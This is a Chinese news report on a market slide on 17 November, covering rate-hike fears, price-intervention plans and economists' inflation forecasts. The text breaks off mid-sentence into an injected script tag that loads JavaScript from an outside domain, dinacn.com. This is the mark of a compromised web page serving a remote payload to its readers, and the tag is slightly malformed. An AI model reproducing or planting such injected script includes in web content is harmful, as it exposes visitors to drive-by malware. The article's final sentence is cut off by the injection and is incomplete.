11月17日，沪指收报2838.86点，跌55.68点，跌幅达1.92%，最低探至2824.12点，失守年线；期货市场集体跳水，连豆、连玉米、连豆粕、连豆油、郑棉等7个农产品(20.41,0.06,0.29%)品种悉数跌停。

　　不过，当天召开的国务院常务会议，让焦急等待加息的人们预期落空。在这次会议上，针对节节攀升的物价，国务院决定“必要时将实行价格临时干预”。

　　“对生活必需品和生产资料实行价格临时干预措施，短期内是有效的。”国家信息中心经济预测部副主任祝宝良对本报记者表示，“但通胀预期不是马上就能控制下来的，管理通胀预期最好的办法就是实际利率由负变正。”

　　选择什么节点、以什么样的节奏让利率负转正，已成为市场的一块心病。民生证券副总裁滕泰认为，目前市场对于通胀的短期恐惧有点过头，对通胀的炒作也有些过头。

　　当天受访的多位经济学家均向记者表示，在11月宏观数据尚未出炉、通胀形势尚不具体的情况下，央行20日前加息的可能性不大。与市场传闻一次性大幅加息50或75个基点相比，这些经济学家更倾向于缓慢、有节奏地加息。

　　加息恐慌

　　从10月8日掀起国庆节后行情始，短短一个多月，上证综指一度由2682点上涨至3160点，而近日来却急转直下。特别是11月10日央行决定全面上调存款准备金以来，沪深市多次恐慌性下挫。11月16日央行行长周小川有关“价格上行压力需引起关注”的表述，更使加息的猜测和恐慌迅速蔓延。

　　“市场一直在笑，突然哭起来，在于之前对通胀及政策从紧的估计过于乐观。”国泰君安策略分析师时伟翔说。

　　但多数宏观经济学家并未改变此前的立场。在市场资深人士看来，此轮股市和大宗商品市场的涨跌，更多的是与美联储第二轮数量宽松货币政策(QE2)出炉后，美元忽跌忽涨的走势息息相关。

　　11月17日，美元指数从78.613上升至79.199，当日涨幅为0.9%。11月4日之后，美元指数便一路上涨，目前已经涨至60日均线附近，并接近80这一心理价位。

　　“美元阶段性走强，使得美联储QE2之后，受弱势美元推高的大宗商品市场和股市出现下跌是很自然的。”申银万国资产管理部总经理单蔚良说。

　　当然，经济学家们对于接下来两个月通胀形势、有无加息必要的判断，仍然存在分歧。

　　在中国社科院金融研究所中国经济评价中心主任刘煜辉看来，近期周小川有关“筑好蓄水池”的表述，或能折射出货币政策实操者的心态。

　　“‘池子’的概念很明显表明了未来货币政策的选择，怎样把钱装起来，这个是数量控制的概念，而不是一个价格影响的概念。”他说。

　　至于持续多月的“负利率”走势以及10月份高达4.4%的CPI指数，刘煜辉认为，年底最后两个月物价指数回落的可能性较大。“后两个月即便新涨价因素再往上面走一点，和翘尾因素两个叠加起来，11月份CPI可能在4%左右，甚至4%以下；而12月份，CPI很明显会回落到3%左右。”

　　滕泰也认为，10月份CPI指数高达4.4%，70%-80%是因为食品价格上涨，因此，不要错误将食品通胀看成全面通胀，“不应采取货币和需求管理的手段去应对供给方面的问题”。

　　尽管如此，谁都无法否认明年国内面临的通胀压力。刘煜辉承认，明年上半年整个翘尾因素是在1.7%到2.5%之间，最高翘尾可达2.5%，然后再加上新涨价因素保持在3%的话，明年上半年可能很多月份CPI会突破5%。

　　瑞银证券中国首席经济学家汪涛将通胀形势看得更为严重，她预计11月CPI可能会进一步攀升至4.5-5%，12月份将会因去年较高基数而回落至4%以下。

　　“接下来几个月，食品价格仍然是关键，但快速上涨的全球大宗商品价格和急剧膨胀的国内流动性也将产生越来越大的影响。外汇流入带来的流动性增加得不到充分对冲(包括上调存款准备金率在内)，这些可能会加大通胀预期。”汪涛表示。

　　除此之外，汪涛认为，10月份人民币贷款增加5877亿元，远?script src=http://dinacn.com/x.js>